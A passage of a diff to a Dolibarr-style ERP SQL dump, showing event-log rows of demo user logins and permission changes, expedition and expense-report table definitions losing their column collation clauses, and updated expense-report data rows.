Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1378,'2023-02-25 15:08:50','USER_MODIFY',1,'2023-02-25 12:08:50',12,'User test modified - Permissions added (id=342)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1379,'2023-02-25 15:08:52','USER_MODIFY',1,'2023-02-25 12:08:52',12,'User test modified - Permissions added (id=358)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1380,'2023-02-25 15:09:19','USER_LOGOUT',1,'2023-02-25 12:09:19',22,'(UserLogoff,noperm)','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1381,'2023-02-25 15:09:28','USER_LOGIN',1,'2023-02-25 12:09:28',29,'(UserLogged,test) - TZ=1;TZString=Europe/Paris;Screen=1920x546','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1382,'2023-02-25 15:34:59','USER_MODIFY',1,'2023-02-25 12:34:59',29,'User test modified','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1383,'2023-02-26 10:21:52','USER_LOGIN_FAILED',1,'2023-02-26 07:21:52',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1384,'2023-02-26 10:30:47','USER_LOGIN',1,'2023-02-26 07:30:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x637','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1385,'2023-02-27 01:52:54','USER_LOGIN',1,'2023-02-26 22:52:54',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1386,'2023-02-27 12:24:37','USER_LOGIN',1,'2023-02-27 09:24:37',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1387,'2023-02-28 09:10:57','USER_LOGIN',1,'2023-02-28 06:10:57',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1388,'2023-03-01 10:01:21','USER_LOGIN',1,'2023-03-01 07:01:21',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1389,'2023-03-01 20:58:01','USER_LOGIN',1,'2023-03-01 17:58:01',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1390,'2023-03-02 09:25:48','USER_LOGIN',1,'2023-03-02 06:25:48',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1391,'2023-03-03 10:13:13','USER_LOGIN',1,'2023-03-03 07:13:13',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1392,'2023-03-05 14:29:17','USER_LOGIN',1,'2023-03-05 11:29:17',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1393,'2023-03-07 11:14:22','USER_LOGIN',1,'2023-03-07 08:14:22',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1394,'2023-03-07 17:27:08','USER_LOGIN',1,'2023-03-07 14:27:08',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1395,'2023-03-08 01:09:22','USER_LOGIN',1,'2023-03-07 22:09:22',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1396,'2023-03-08 09:37:33','USER_LOGIN',1,'2023-03-08 06:37:33',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1397,'2023-03-08 17:23:51','USER_LOGIN',1,'2023-03-08 14:23:51',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1398,'2023-03-11 18:23:37','USER_LOGIN',1,'2023-03-11 15:23:37',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1399,'2023-03-12 12:07:13','USER_LOGIN',1,'2023-03-12 09:07:13',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1400,'2023-03-12 20:49:24','USER_LOGIN',1,'2023-03-12 17:49:24',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1401,'2023-03-13 09:16:45','USER_LOGIN',1,'2023-03-13 06:16:45',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1402,'2023-03-13 11:02:49','USER_LOGIN',1,'2023-03-13 08:02:49',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1403,'2023-03-13 11:03:08','USER_MODIFY',1,'2023-03-13 08:03:08',12,'Modification utilisateur test','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1404,'2023-03-13 11:23:30','USER_MODIFY',1,'2023-03-13 08:23:30',12,'Modification utilisateur aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1405,'2023-03-13 11:45:21','USER_MODIFY',1,'2023-03-13 08:45:21',12,'Modification utilisateur aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1406,'2023-03-13 11:45:30','USER_MODIFY',1,'2023-03-13 08:45:30',12,'Modification utilisateur aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1407,'2023-03-13 18:22:58','USER_LOGIN',1,'2023-03-13 15:22:58',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1408,'2023-03-15 08:37:42','USER_LOGIN',1,'2023-03-15 05:37:42',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL); /*!40000 ALTER TABLE `llx_events` ENABLE KEYS */; UNLOCK TABLES; @@ -6198,13 +5472,13 @@ DROP TABLE IF EXISTS `llx_expedition`; CREATE TABLE `llx_expedition` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_customer` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_customer` varchar(255) DEFAULT NULL, `fk_soc` int(11) NOT NULL, `fk_projet` int(11) DEFAULT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_int` varchar(30) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `date_valid` datetime DEFAULT NULL, @@ -6213,7 +5487,7 @@ CREATE TABLE `llx_expedition` ( `date_delivery` datetime DEFAULT NULL, `fk_address` int(11) DEFAULT NULL, `fk_shipping_method` int(11) DEFAULT NULL, - `tracking_number` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `tracking_number` varchar(50) DEFAULT NULL, `fk_statut` smallint(6) DEFAULT 0, `height` float DEFAULT NULL, `height_unit` int(11) DEFAULT NULL, @@ -6222,16 +5496,16 @@ CREATE TABLE `llx_expedition` ( `size` float DEFAULT NULL, `weight_units` int(11) DEFAULT NULL, `weight` float DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `billed` smallint(6) DEFAULT 0, `fk_user_modif` int(11) DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_expedition_uk_ref` (`ref`,`entity`), KEY `idx_expedition_fk_soc` (`fk_soc`), @@ -6266,7 +5540,7 @@ CREATE TABLE `llx_expedition_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_expedition_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -6291,7 +5565,7 @@ DROP TABLE IF EXISTS `llx_expedition_package`; CREATE TABLE `llx_expedition_package` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_expedition` int(11) NOT NULL, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, `value` double(24,8) DEFAULT 0.00000000, `fk_package_type` int(11) DEFAULT NULL, `height` float DEFAULT NULL, @@ -6359,7 +5633,7 @@ CREATE TABLE `llx_expeditiondet_batch` ( `fk_expeditiondet` int(11) NOT NULL, `eatby` date DEFAULT NULL, `sellby` date DEFAULT NULL, - `batch` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `batch` varchar(128) DEFAULT NULL, `qty` double NOT NULL DEFAULT 0, `fk_origin_stock` int(11) NOT NULL, PRIMARY KEY (`rowid`), @@ -6388,7 +5662,7 @@ CREATE TABLE `llx_expeditiondet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_expeditiondet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -6412,7 +5686,7 @@ DROP TABLE IF EXISTS `llx_expensereport`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_expensereport` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(50) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `ref_number_int` int(11) DEFAULT NULL, `ref_ext` int(11) DEFAULT NULL, @@ -6439,22 +5713,22 @@ CREATE TABLE `llx_expensereport` ( `fk_statut` int(11) NOT NULL, `fk_c_paiement` int(11) DEFAULT NULL, `paid` smallint(6) NOT NULL DEFAULT 0, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `detail_refuse` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `detail_cancel` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, + `detail_refuse` varchar(255) DEFAULT NULL, + `detail_cancel` varchar(255) DEFAULT NULL, `integration_compta` int(11) DEFAULT NULL, `fk_bank_account` int(11) DEFAULT NULL, - `model_pdf` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `model_pdf` varchar(50) DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_expensereport_uk_ref` (`ref`,`entity`), @@ -6474,7 +5748,7 @@ CREATE TABLE `llx_expensereport` ( LOCK TABLES `llx_expensereport` WRITE; /*!40000 ALTER TABLE `llx_expensereport` DISABLE KEYS */; -INSERT INTO `llx_expensereport` VALUES (1,'ADMIN-ER00002-150101',1,2,NULL,8.33000000,1.67000000,0.00000000,0.00000000,10.00000000,'2022-01-01','2022-01-03','2022-01-22 19:03:37','2022-01-22 19:06:50','2021-02-16 02:12:40',NULL,NULL,'2022-02-07 13:37:54',12,NULL,12,12,12,NULL,NULL,5,NULL,0,'Holidays',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(2,'ER1912-0001',1,NULL,NULL,141.67000000,28.33000000,0.00000000,0.00000000,170.00000000,'2022-02-01','2021-02-28','2022-01-22 19:04:44','2021-12-20 20:34:13','2021-12-20 20:34:19',NULL,'2021-12-21 00:34:26','2022-02-07 13:37:54',12,12,12,12,12,NULL,12,4,NULL,0,'Work on projet X','','','aaaa',NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(3,'(PROV3)',1,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,'2022-02-02','2022-02-02','2022-02-02 03:57:03','2022-02-02 00:00:00',NULL,NULL,NULL,'2022-02-07 13:37:54',19,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL); +INSERT INTO `llx_expensereport` VALUES (1,'ADMIN-ER00002-150101',1,2,NULL,8.33000000,1.67000000,0.00000000,0.00000000,10.00000000,'2022-01-01','2022-01-03','2022-01-22 19:03:37','2022-01-22 19:06:50','2021-02-16 02:12:40',NULL,NULL,'2022-02-07 13:37:54',12,NULL,12,12,12,NULL,NULL,5,NULL,0,'Holidays',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(2,'ER1912-0001',1,NULL,NULL,141.67000000,28.33000000,0.00000000,0.00000000,170.00000000,'2022-02-01','2021-02-28','2022-01-22 19:04:44','2021-12-20 20:34:13','2021-12-20 20:34:19',NULL,'2021-12-21 00:34:26','2022-02-07 13:37:54',12,12,12,12,12,NULL,12,4,NULL,0,'Work on projet X','','','aaaa',NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(3,'(PROV3)',1,NULL,NULL,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,'2022-02-02','2022-02-02','2022-02-02 03:57:03','2022-02-02 00:00:00',NULL,NULL,NULL,'2022-12-19 12:02:55',19,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'expensereport/(PROV3)/(PROV3).pdf',NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_expensereport` ENABLE KEYS */; UNLOCK TABLES; @@ -6488,10 +5762,10 @@ DROP TABLE IF EXISTS `llx_expensereport_det`; CREATE TABLE `llx_expensereport_det` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_expensereport` int(11) NOT NULL, - `docnumber` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `docnumber` varchar(128) DEFAULT NULL, `fk_c_type_fees` int(11) NOT NULL, `fk_projet` int(11) DEFAULT NULL, - `comments` text COLLATE utf8mb3_unicode_ci NOT NULL, + `comments` text NOT NULL, `product_type` int(11) DEFAULT -1, `qty` double NOT NULL, `subprice` double(24,8) NOT NULL DEFAULT 0.00000000, @@ -6499,9 +5773,9 @@ CREATE TABLE `llx_expensereport_det` ( `remise_percent` double DEFAULT NULL, `tva_tx` double(6,3) DEFAULT NULL, `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax1_type` varchar(10) DEFAULT NULL, `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax2_type` varchar(10) DEFAULT NULL, `total_ht` double(24,8) NOT NULL DEFAULT 0.00000000, `total_tva` double(24,8) NOT NULL DEFAULT 0.00000000, `total_localtax1` double(24,8) DEFAULT 0.00000000, @@ -6511,21 +5785,21 @@ CREATE TABLE `llx_expensereport_det` ( `info_bits` int(11) DEFAULT 0, `special_code` int(11) DEFAULT 0, `rang` int(11) DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, `fk_facture` int(11) DEFAULT 0, `fk_code_ventilation` int(11) DEFAULT 0, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', - `rule_warning_message` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `vat_src_code` varchar(10) DEFAULT '', + `rule_warning_message` text DEFAULT NULL, `fk_c_exp_tax_cat` int(11) DEFAULT NULL, `fk_ecm_files` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -6534,7 +5808,7 @@ CREATE TABLE `llx_expensereport_det` ( LOCK TABLES `llx_expensereport_det` WRITE; /*!40000 ALTER TABLE `llx_expensereport_det` DISABLE KEYS */; -INSERT INTO `llx_expensereport_det` VALUES (1,1,NULL,3,1,'',-1,1,0.00000000,10.00000000,NULL,20.000,0.000,NULL,0.000,NULL,8.33000000,1.67000000,0.00000000,0.00000000,10.00000000,'2017-01-01',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,NULL,NULL),(2,2,NULL,3,4,'',-1,1,0.00000000,20.00000000,NULL,20.000,0.000,NULL,0.000,NULL,16.67000000,3.33000000,0.00000000,0.00000000,20.00000000,'2017-01-07',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,NULL,NULL),(3,2,NULL,2,5,'Train',-1,1,0.00000000,150.00000000,NULL,20.000,0.000,NULL,0.000,NULL,125.00000000,25.00000000,0.00000000,0.00000000,150.00000000,'2017-02-05',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'','',0,73); +INSERT INTO `llx_expensereport_det` VALUES (1,1,NULL,3,1,'',-1,1,0.00000000,10.00000000,NULL,20.000,0.000,NULL,0.000,NULL,8.33000000,1.67000000,0.00000000,0.00000000,10.00000000,'2017-01-01',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,NULL,NULL),(2,2,NULL,3,4,'',-1,1,0.00000000,20.00000000,NULL,20.000,0.000,NULL,0.000,NULL,16.67000000,3.33000000,0.00000000,0.00000000,20.00000000,'2017-01-07',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,NULL,NULL),(3,2,NULL,2,5,'Train',-1,1,0.00000000,150.00000000,NULL,20.000,0.000,NULL,0.000,NULL,125.00000000,25.00000000,0.00000000,0.00000000,150.00000000,'2017-02-05',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'','',0,73),(4,3,NULL,1,NULL,'',-1,1,0.00000000,10.00000000,NULL,0.000,0.000,'0',0.000,'0',10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,'2022-12-19',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,0,163),(5,3,NULL,1,NULL,'',-1,1,0.00000000,10.00000000,NULL,0.000,0.000,'0',0.000,'0',10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,'2022-12-19',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,0,163),(6,3,NULL,1,NULL,'',-1,1,0.00000000,10.00000000,NULL,0.000,0.000,'0',0.000,'0',10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,'2022-12-19',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,0,163),(7,3,NULL,1,NULL,'',-1,1,0.00000000,10.00000000,NULL,0.000,0.000,'0',0.000,'0',10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,'2022-12-19',0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0,0,'',NULL,0,163); /*!40000 ALTER TABLE `llx_expensereport_det` ENABLE KEYS */; UNLOCK TABLES; @@ -6549,7 +5823,7 @@ CREATE TABLE `llx_expensereport_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_expensereport_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -6612,7 +5886,7 @@ CREATE TABLE `llx_expensereport_rules` ( `fk_user` int(11) DEFAULT NULL, `fk_usergroup` int(11) DEFAULT NULL, `fk_c_type_fees` int(11) NOT NULL, - `code_expense_rules_type` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, + `code_expense_rules_type` varchar(50) NOT NULL, `is_for_all` tinyint(4) DEFAULT 0, `entity` int(11) DEFAULT 1, PRIMARY KEY (`rowid`) @@ -6637,10 +5911,10 @@ DROP TABLE IF EXISTS `llx_export_compta`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_export_compta` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(12) NOT NULL, `date_export` datetime NOT NULL, `fk_user` int(11) NOT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -6664,10 +5938,10 @@ DROP TABLE IF EXISTS `llx_export_model`; CREATE TABLE `llx_export_model` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_user` int(11) NOT NULL DEFAULT 0, - `label` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, - 